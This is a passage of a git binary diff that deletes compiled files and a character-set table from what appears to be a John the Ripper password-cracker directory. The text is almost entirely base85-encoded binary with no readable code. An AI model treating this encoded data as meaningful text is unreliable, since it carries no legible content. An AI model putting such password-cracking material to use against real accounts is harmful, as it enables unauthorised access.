zOx_JC89k4jO2_`XA^7ji2C0hl%2u$bK^qQUI6BB8vRf#b~cVRIkiA5+uhVL}IN$v~q^a~1jU zie!iA7>)rf@i_aN$;7b30@td}-&z-I85md(;~GEBV|+F2a~!Y=1doCg~u2dq<)iU}ht`pj%d9N|n=23$2c;Mq=S>79qHNBEx1ZU(5jp8z>D{*gv61yMy zK*;hBNz095FRl8Idat<=8>UhpgA^xr@b=k!=6O)>1P#hP8=WUN%R^>E7|ujC&%g*~ z?DR$*hZ1u2=nBa~9%X3=)W$~F(6Gp$2-))KZfbHRK7w)N)AIb55r)gOJYB;m(Kj`K z7wljNqN|}yEq{BI?r;h7{*au6#Aup?c~gEl7v$&>ey8z`#(``D4r9SRnV7kJzXK-} zOpMh6;(s+Pq^ta0)qB5*lh9yLqD&&q&Lg`Mfk~(Jdr;b3wK%5~Gb{^3EY9yJ8SX%u&O%4mCF-j)^z#!^zcX zf!Fy+?=f@B`v?Zz5B(Ln#w_n#wfnJH6@iq%ww4Qq6nUydT|P|!qL7sN4v!Q#_4>66 zq6!X6!7O?t@fHNiat!yh2-;G)w>e0vtLcB$3I8D5iQgX0rw+?KXe6cmD(MrQ9;F=B zF;AxZ2P!0H%jSeTs$^x1t|ysd3v54x^?NcKVk4nmo}xb@djkQ|(Wmn516=@B&`;}h z)OptcwJ{VRx2sqd%^ak8_pkLun8=%nSn{Gq2IhVke}|V;%%hqHfqN;$Hb{xQF;sv0 z{}**{U8%H55`b4<%=G*%6!9#!h;F=bDF`AW2qNOIpC_`|{oPa*MN!n@J!D2kMkZhl ziXRPC7_3v2yZ*kTLWc;rO=A4=b@kDFXY67MEu)3>x&zt^&FueJPi8r$sxuk0@iYD? z;evUx`SaICJAorkFQ)@;f?W7A9jgzY_VswZF_ELmh=WpQn2q@*ZxZh7>8dJ|T-gQ# zkBUT?>x!_59&LB-Ex$K2ZZ#)yrTM$0(apyW1g@fa-HlPx`&qcwXE6R&9gorSL$0|V z3I|u@^y3R3|9L`zWT_yhbj>~e)HsZiOwT4JB#lUbOdeWl_7JF=eQL&0iKM@XW|I%# zR-laZ0i>rD=X%Vq(xc^>N3tpvg-lfBdhL3Q1E3izp2@TrZPc+}?zZ21Uh4nAYFhzk zW0OL`U5M-^q*|Xi4+-89KAs|+*g;2EacY&R!(5>osY@tkt{{joz=G2qmg zX_72yN3NBioYq}LJTf*>VcVU;)5>gG_|_@@P{%0C6mOBG?ydKE3woEa4mPNf-PRt(t+l2 zpaOTldo2fsvmDaSFazu+6fJn2z~4biK^z<#a6sPR5M0jqAA1@qD>FX}rgqRJ*DkiJ zXEsM%yLCV}IM%BIbZ4|VQ1QVW5-00m5F$rrU(mKB{2-Mvp_5r|$^5bmmkOdiVkVDa z(&ouni-&P>8$f#@Y7!?zJ)@Aul%t`eu>MZ8{O~NO3QQYNy=EMaM@mA{2hUWCuL|#S z)d;H=SGXKjl2zbo1c-=mPpgRge%M3paQTNOj9~m~mJ`RynKJtvBK(HC z__tyW!o&#tFvjD|EYr^9VH~q%YFrh9jB&Ip3_5TksOxDwWR~C;yUaGjoam>GretG6 zzU`Bo!y2-Q^Ts@3H03e2&uX`tjkYgRBFF>*=Z0s8HKCk&jDxl^m5CV2cFHYEC{N74 zUB1aCsGwAGyr#{ouInMTIrWx^#E{|2H2=$v_3Awx0QkF0c%zl!L)F(zQJZM4j%J4c zj5dwrh6a0&t9rfdAclELm8s?ASKG2Q}~00u-E+mQ71N@G2ABL8#4g1 z>#xAx5LWjC_tr;P&^DqpzPOg<*|2pNoXQC=M~+9g}W0iKugc%1r?OUuA{N@-_?45Ap`&fG!>Pk zX0c@z0yH8K79={fjk6-TU9?UTED%v*sQb-nlxXsvf`_M5r2=}Uy)-rn?;(O8v1LaH z5ltN)fIyj1%H(kH1M(tMJ9(!u;5+aludWld0tTe5#IUe8%i-!!Xvt47UnX8-=eYWR z=OnD34!Nz#I<8L#>(~+lHBIYp8J(brLC{M=sncksL(koi{Y?gX2cx^-b@W@!u@fAy zb5C5)N+H|e@X28Tuk+?1(oX^=K1Qs~H6NqC`GMj(!4=``rc3D*@)$hwV>IA0+>VdM z7ZRaAK2ZfsEJEH%sUxMWA*kQB~Tz%I~E60OA*~pQap}-1qG1V}wxW%B983KEBuEtO79{4;0T7RQ6W(6?qt2 z^e(=(V(pla0hdyYeId^3MpWe)#!JB+&Y1!DvUs09wlNdJ;*foxmT{u(=WF?Spdn3m zC>=qg_Ae)KGEa(dQ^0xA!H42XT_LsGfG{N!SE0g$;j;f01!j2ci5)2X=E3<-~k z$4}0e5xtjlDw)(d74Z?%$23^l<0GZSSOq!lv6oBqg){3J{mt_~tpxtF%>8y^d*S&u z{9k3=Y5d94Tg;Vx^JO6q&&%=>QHasw8H_B&^mN_2&I8Hdvy3zqZP2Y>8A?y{__dUU_85OvZly#|lX&QtJNCLtMjXFWgAboB#Uhaq&S@RMni8Y&Gb zyl^Q((md@TmS0K}=f}k-&aj!ob&;v$vAl=#nm4MhyAOYHi4^;(n7|cFpTefEx(j>_ zgCPZ}m@@Y0A@z#Rlh*4qz!Nen^u}-2L&O3U^R-45&BdjADE|{z+s0r7e|gOyorZWG z-zGtVOy(mP(`=i1$!<0EfP~Avm9F!R>CQ!Gj zbWl3YMOVc}&V~HH&QoK<^$eboQUw^&8USKdZ z;V`V_%-u5noAVFwM*x=aq?!yfCS7pcpz4VhP-I)OSw|c;dops?s}LqIJYO31-D@)b z1ptUr+D;yi^!_}1VS&UX6+MjA>pH{*EY5SuVgfmW-2l@{;-GK<5gLCul56ZE^%mwK zywi5nIWP0pN6{0=x5==)q)w$_+qiQ-mobbk2a0uPonikfsZThKz^)M!;aO7=4xkO> zw^4}Yprnxs2JkUgm^34fpFo6*N#&sc22$=m@S5_Z5`hs2$OEWizSz(x()#Bl1-t~2 zksg}SQ6NATVIIKMso0&6gm=FH25BVrw-raHLIR83yDLi}`1IO_ywKHG65c6mK~1C7 z{`3#s4pNYnQrDt!1*v0>324-Pc28r}__~P#MAEfzBDId_TSbYcXwRv1y)?k5adrjD zUPi1pj3L(LFOX{%np(F@B{9+Z?)BnTX4J+EYqq3kKy^bm)|8i9=AKwjUU4`64^?(E zPdGENAiF7wN{^O@?;(XQjXEz9m8rdG+kNw+Cb*pO=6T-{;XU1bC zkILk|u8wkT60$G0chMrR!4R(W`dFL1&Pbv8RgN0GADpXdQx(m+&Qnnei6w2FMiRi~ z`m&Z+x@grxno6s(S%M$C!uhdFyw+KXNk`H?0BajNjS17RH%5j_F`IDWgb3gqPA@=UMm0!?!8wlz zfd(Q^XPz-K_2SoCz8hM*mcp)B)PqlCz>w=7k*=$q*fNG#CYZJ`V=Hwxd6yRVI{l0V za&wmS4wd5#5;MS_ZSj%m6T!hGObY`hExIx&i~AV%1E!W5^{>02nZnPgbANB zB0~i2*TPV;BlKva_w}wRB}5t1_U4v34H2F1-~p4@igVrc1t8~>Y{(Y=WKWF)K*Kw_GneN|fWs6*05fn`m=l#HEe_hb}umgAVN zLII$L#R_-QhvXuPKtRZ=c8?H1#+Ve1$1KkQ##$mFF0m;Y?-}&2yd)!FHp5Cw3-CJQ~QycZh3+RJA7>EeY7 zxa|2>fhrF#K?4{UnG54UGIH&@W@-gfio$}x!L#N=U;$3d(kLagVv>JwFIGEELkkc# z7@~kA6)su}mQ^@eJGdQi=j4zVZ(a2&XjjZ7Aq0_V>jTJBdSCyLDOed%RmLg2i~f;p zNLYfuS7+W&txuj99h88hs$*WaeGc}s(gx%g;bCZ!S`!+%7L>TCZMGnWcm(+48~3~U zS>gd!O(Z~BSj~Q^3M0;{y+M!7V5IAO5E7fichUv={rvRaG|~T4cQMFLMTz0};s9Tu zAzP7_76W)k7FnAUs!iP`Q3P$=(7KifnqV1?V2cbv6dt$*t~6EU^EpXQ`?B)dY9sF8 zri24(dc8kPC%HdTER2YfEkf_;oMgmcfPrG_bBKtTq*hJtNuAG(#XD;Q*ciE($bnTPQ90;2VkXJ?5j6XN^)BR zzO*SjWA^}JQz>0aIO*frL*}b!E`v^$cnUG8j$~%|_B6lGJQ3Ytcde9@F!4(zs1Nq0 zB<10FxH*Y+n|HYc~y0pD9Rl8E=fF$fh-7Q7;aQf-h)+HO?qLjF#`;uRC3x^n^K!FfoYOB={}(^*P-tB}LZ4w~8buvAGI* zrmXxs#)qiF>uRiEP_%pAwwXB9m3QB6gxj!#qRyxgZwq~HL}fw3TumYZ;~-6rze<^8 zfFh1DbvU{TvpMP5&$qam6$*$J#Fjkp$Z)FilE4YpEvT2c#)@tA`8&yd#+F*WR;~h-`e)A4Qn}}E z{r^#BvsqM&=aQH_p6Lf`E01MiF*x(<8XaGiR;DANz%Ny0FcW7^gZ#^r7z%oC zmzbA%Uvd#QRbY$TtH$OI&<7N41S}r2D|2cp%BPtn*~^Xmij@58-~S7~Zox^B)NE;R zTmznm`-lC5)XmxGNUpKf&Ur>FRs4K_C3v_BMwu{#o^5I`kT2t5>E*UgRQJ|}LVY)l z=iG&Kl?sKVqfm2m@4xr$f6XBjMOOZKO@IEv>B{x=t!y__;5|KA?a8S_xQF>2+=tQ*-!df^ujkzl~Dcc#L z4otIE8U29U=VK!%OBZZ0df!fWA{s?YFN`lE@DoDvk)EdjHZsuSu;+&HJ?HqlbF8jn)kYfF|4)qqfZCn)VuOK1zbNGSRjb zAvQMKh_e_@dUmD?czY1P*NBgi4mWNI%@BP_@Y2(Q$0wLk0v@z0pa4j8!a}}rQ_~S} z0?XbFA04G`Ajr=}t2DowB#`7CM6Y5MnS#>zI*Oj9ou{F&%LmX^;P92+fP-F;2C<3^ znv$G03MSz7dOWE*kNy-p`A9mK@~z6#s!J!)7`T*4TVboXiivoVj9oIB6_c@@mkM)7 z-(e_yEwERH-(&-6FZRuyylV&h@wD230rEQlPcyClkd3JZ^m@ zN#jH6PF0J5o@Z|^Wv^`kbraf0%F183rQ=Rq4HC4CNqT(pmS^g=k565e!WFTX;pGkZqT*vNk+1|t;704?iHFjzRS*_KgZE>`3C{tYTS(A zl6?bzBf`6I;CGSU1AhCIQA@F#tu%HsSVl}m>7OPZ{fTPdIlincAUL-85Cayx;*qIM zpDQ|1Hq-Jlxx^<|C1aaJAJbZ&Qm>x_C+9d54|H0OtjJniOdZ!cJjGpDHR;b#4pewnx=tZz|R7Ewu}S zw?ylvJbh-l|3cgu#&VR2OAsI#pA4{$%0vZ*CQqi717|6!;!nK*q zxugKw9tBW4=O5HEoO?hvf*w~Cv(Ee>Oj||S17!oxd{1@B6+p354vy@g?NqQ{z0j>( z;J=WelHXP;um!iIau}$1JWL&l4e{6aKqD8qEpT;~%#}oXZOJ~%EFPHJvimKYbhX_m zx-_0Vm((-vdOGq&22wJ#7Cj+f5q~Y^;&$L$hC)%o>Mj28u5%J(Sltx@wE5L>k=!{2`+n3hm2~Md*B&ECveqe5VXr=A)}!C zd<6o0SHz}rts$VArxDap9%uHMaF-o>Rtc&(E^2;Tz=rkyWu@$W87Ws?6PvjH zcrJ$&z!ixbL-!T@CqK(8yCR{LKhYv1hO?yG;uG&MtgOu&rWT~(s;?ML<^5b$#2%Ea zi`zd)`B&i;n?Q|RcDLos-LN6^A>^(AYg%cyoHk9Wd&E0H98U-%mSvYY4Qvm{(9OKo zWk(0^2Nu^kl0WLdR4q%XJ^>vtiq71P1x*@5G$i&EyjTEmJr^XIL38R#G%{7ag!8qZFu(A7~-Wkajled za2C)oJ%N(H4dfk3(AdS-cgYxq3^R5bA>07Lfq{efg7HLZnBCB%XA&~IUlm>K7a`Jx zY@`x3Fe?vAIW!NGDuqkEInt*Lnp<1~^R0O+rqhiK3&Xtzf*2lo1h4fbDTh{(5&-zG zRb>tUOufKNc5~*-{4n;qMphCW_^Y;xF=d@_`+^0Kqq@*P#VkLF{C%TftweO}<@ri# zt<=n$QVh1wGijQ;cmGx{)Qv!z0HbV-ozOuhk{k4*5iKp%O$+k=hwu%m&OHu-rldZe z?Nls=eFpa22=%VUlLTIgb6|@&SIOu?H$2z^f31#Cz<=f&GPP1QgEioQS2z_7+=tRA zZHls;ibF^^Ph~wUgq$tXxmLt1#gT0!?XCfSt$nUMKbLZ+`h+D)hQ|rVhw8h#mvVQJQTwi|*_o7W-T3#rp5}HJTkXE3r+m@kN%n`2Df+Q5<|f3m zno5|mBQmu2sk%$@qZ&dqKfM0%f$q;e5U8xhrE9#;P!?)-;i;iz=eNBi5#3iAl0PkX z^(P63e@=(R!H$#jC*m5|*ADyB%Xjf*|D=ZFU+@(xsOI^Qt&M=*;()>A7GSSNG3#_i ztA-FWINrqaQt&Nb30zt>^@9SvmH|URqsI|L%04i8_;9a4SsnD?rx@9A;1A`xGgCiAWSydjtA)O1o9ULG{*dRkR~PX_ zZAX&%AtCgKp0R<(Zw`o$@i3TYhxr+vRs?NS2hU`(**?>ZfBjx6rS5m=+3t$5g1OuzCVy=w@r;75g8?@L5U@xw7dGSXWMC58 zoxYZ)MsQXDAWuAwbV-fOc$9MmM-4=ti;8g~xiXT_pXaF!M)Y@Bf+DdWpa@H%_NmO} zZajYVx<*q}jt|l#5bC-5YM@IzkX&|RM8RsetOIiJ=5qGpZdOd`B-y|kUOle0DyljV zY?Xh~(5v++2Io+8?PCJ0UZ$#;?-*Uvl+2z5SzW5$VeUyu5Vg9@rC-j5oq#F5e4|i8 zkvSeKYPCsuP2({2tCmul7q|;eJ#G>s8eUbLtHNZQD;5)^SmrzdG}A|c$bWv`Gfq8n zG31|!Lr2D8_4Y-CCcCSY96T+7__~otXJt0W{Wr1`7kOTe;p2Nw^}oS}27|H8U&J!c zklt@{`OD8LaS`I236c6H<;6jCS6z7j8;sl6rXavVp;J}=kA&7X}}F?5y4Q1Uw#v)${O36uZq=C_#> zl;sTFqIDzw92w#@mDwflK4VOy=F92MH5*ac4NnM?zYS{JcWIM38EZYV#6oh9Ak}Eu z?S(=B=gNZxDQi8r`GAe!RW#$t46vV}9Btak5844e^(4q1u`BWfy9AQedd4lH|;Mca~6bFwe@W1bU7*IGU#D z)SIf!NORix5!W^ph@!29d7P^2!z4~AYeO8veE>cMwB5xKLpTJ4Sdd3i*gCpd>lR{U ziqLW-J<)yk9WWZ!kp8e{IHS84JPN-q9M z|LbXm)SELjWZVL!qPC&d*epa`0NugH5EFAFY8zZUV+2rdm1kP`r0L97#00h>RDA#_AruX`# z`mwP+zme*j%-~4&#aO}d)PQCWC zt^(k>KWe-P>e&c&hMtDQQ!`8E6~&swgE4U}v`DkS4ifKn&eI~#kBwUY1tZO7$>phx zg!AJ6xQrCWvMiJu3Td-z#AHl|u;^1v!}DJGZRfXfF2IU}wm9g|^Vc2!{QGHA4A+Aa zMfQ#_lJ`iVSCq&Y<=I_$u{$A$ryp8#BX~##29Jw;MsZCc7x`4ZMFi^&_^1&C!3_)6 zlSo}FY6is2Z5xnXQh-HQf8h;&3*8P?CuLO`=&*PDI^y8sFOCUByoE)QkxT4nGFk_Z6$YB;nFj2I6* zwAS|@l=xY+3@;PN*emv?WfrFBkz7W2Iiyy-MNg2*;p6o%Y?oX?+@;ID3_8!{a-bsu z%36*}d1;wTZ{JK7yCD9~6}GB|$|!Jjfro;}YA}N{e8vLWnX*PtzefA*kA6i? zChKGLW4ftN&vg2dlGX56&E(PDx;kb3yli9@j($*^)lSs30EziZGQ&%rQl{3cW|)N} zBFy<1f@(y+Y??>b-^Su9IDng4ys4|3X_Ak@hbD0R(h3cyzh5zyp4K?2ziCugeK{?0 z(cy<4gvJY$1LjV31g~(_F7xfCMPaf<;>`uda4!q5d+$^kVY>sSV~KQi8IB-2s=QwUbZhKZhHbbz zutSCHx!Wc8fMCkru=kYk5uADWlh<~gH0Xea^I&v;<#!i`%B@!7AqFmF6WRzCnsx{= z%wSJ^*NkADRHD3<>r7USoAHcMC}iV^|} z(%bD%&_!PFB!yk`_z^}y_A6>(Oi(4WahpHWh7d**UG#jS(#wUh5rp{W^eLDSr)tLD zr)(JpV7V&)m5|W*9Cx99uBXB`^&uhRDzpJJl!K6607DVaZ5Wv7-PBu4hT@t6j^}YB zU`i=Gwa(y$!jMt4WcL|VxuBnl@6IHA!?Pf}+5FvvZu*KfbZAH!6E4UHR$=G}| zaMhmUO&F5BmSFgEDEZ$;CsJ#gIJmGP9neC4a4Odk^EGriN00qTB2eO2lca(snztKm zU%fw_xp#^e%J9+ZHwDRrAZqt{z=a$dOWlg(VlJu&wD3GZgkw#Ea( z8k{h+P{VyyCEA07B6A)&buq{ENqI;{vlZF^L5L6ArTVK6;q#`vRjHZ$BL&gK2@yZF za$ulgmd#r{`ABZX(?loIOQX6qa#er@4oHV5ulF{=kEXGM0b@|V<=-%7_(~pWew8dGD#2N% zXjTN`0Dy)_dco>dWR&Q01ag_d|GsF8*lM#qtc39=E40A)x_fzGxTEb8w@DdT+sg04 zA*2ahP@=a5p)>4cZ0}!UQs;=PnWh%qJ=n32T?r#rF?hnrL*vXrH_5o8Rs~jyF#{J| zC*#dPlux%vK^d8C7L7Be2ux6a?I+j>7-XcR-`^eBcNf9kC^@X9t&`Gm+jmIglwXV< z@qX0kvdAn5Dt!OR8DL(P{WQ9}J14qt?NS$X#K4$__O-_feSLrQ{$b?hM8~{Poy(#k zu3$oOz)_P|OvJ%{HM{c*@pp!8a6)Q2A+q16DD|GWnQ7#{hh$aNy;8^UzAhl{@BJX` z%x-rjS94)9i-}S_)8E zYJX|agUg^~dKOer0)#bG&=SA2;d#b4$niZCiTsoIp|1`4^3tGmo<8XW8;6=ofIstj z&2@@-*>Rd^n$ztWm#*QVn@0H1bMX%etUsioJ`8e9*g6g1H(Jkkf>YMWBf?Tn{bb--0J_zp0-<~PTYl6;ai4p<}t@F7604?gPWVi*$Dc9Qro zm>Z}HbKwOd9U)puC_hT-y^Wuzub;mK7#iVbWEY-IW;t^}p*85y_-ufxA$cz}tcnRx z9F=wRrlQ!Y5kQCmny}#WPF*TAqG-jy|L7Gk8VME;RV!Tq7q{xmr>RF}crhUyF&Bs5 z0RU$&!{;B--dw&})XB&>Y{txDjyP!_yUAOoPd?rxChh)qup#xtgsE1PEE){6VH)e7 z!wvn#c=p(=-@hp@2neLUx)5kz{SFDFg08@tY=3eUz9q{eYOENfeB-C(^A9yVQl93{ zJdK)t)}YIr=iYN%3%@TWkv4eL?01#m_(;L$gYL}=?Gxsv4OE&N3=jZW{6~rkk%!4E Wm`--HS5W10ynQB@;T`|$|Nb9l2)C*L diff --git a/data/john/run.linux.x86.mmx/calc_stat b/data/john/run.linux.x86.mmx/calc_stat deleted file mode 100755 index 8ff2ad46465b1910d09add680c82bdcaf5f3ffa3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6892 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 diff --git a/data/john/run.linux.x86.mmx/digits.chr b/data/john/run.linux.x86.mmx/digits.chr deleted file mode 100644 index c7f480681bcac0fc9cd85ec0a18fa2313efabc8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40391 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 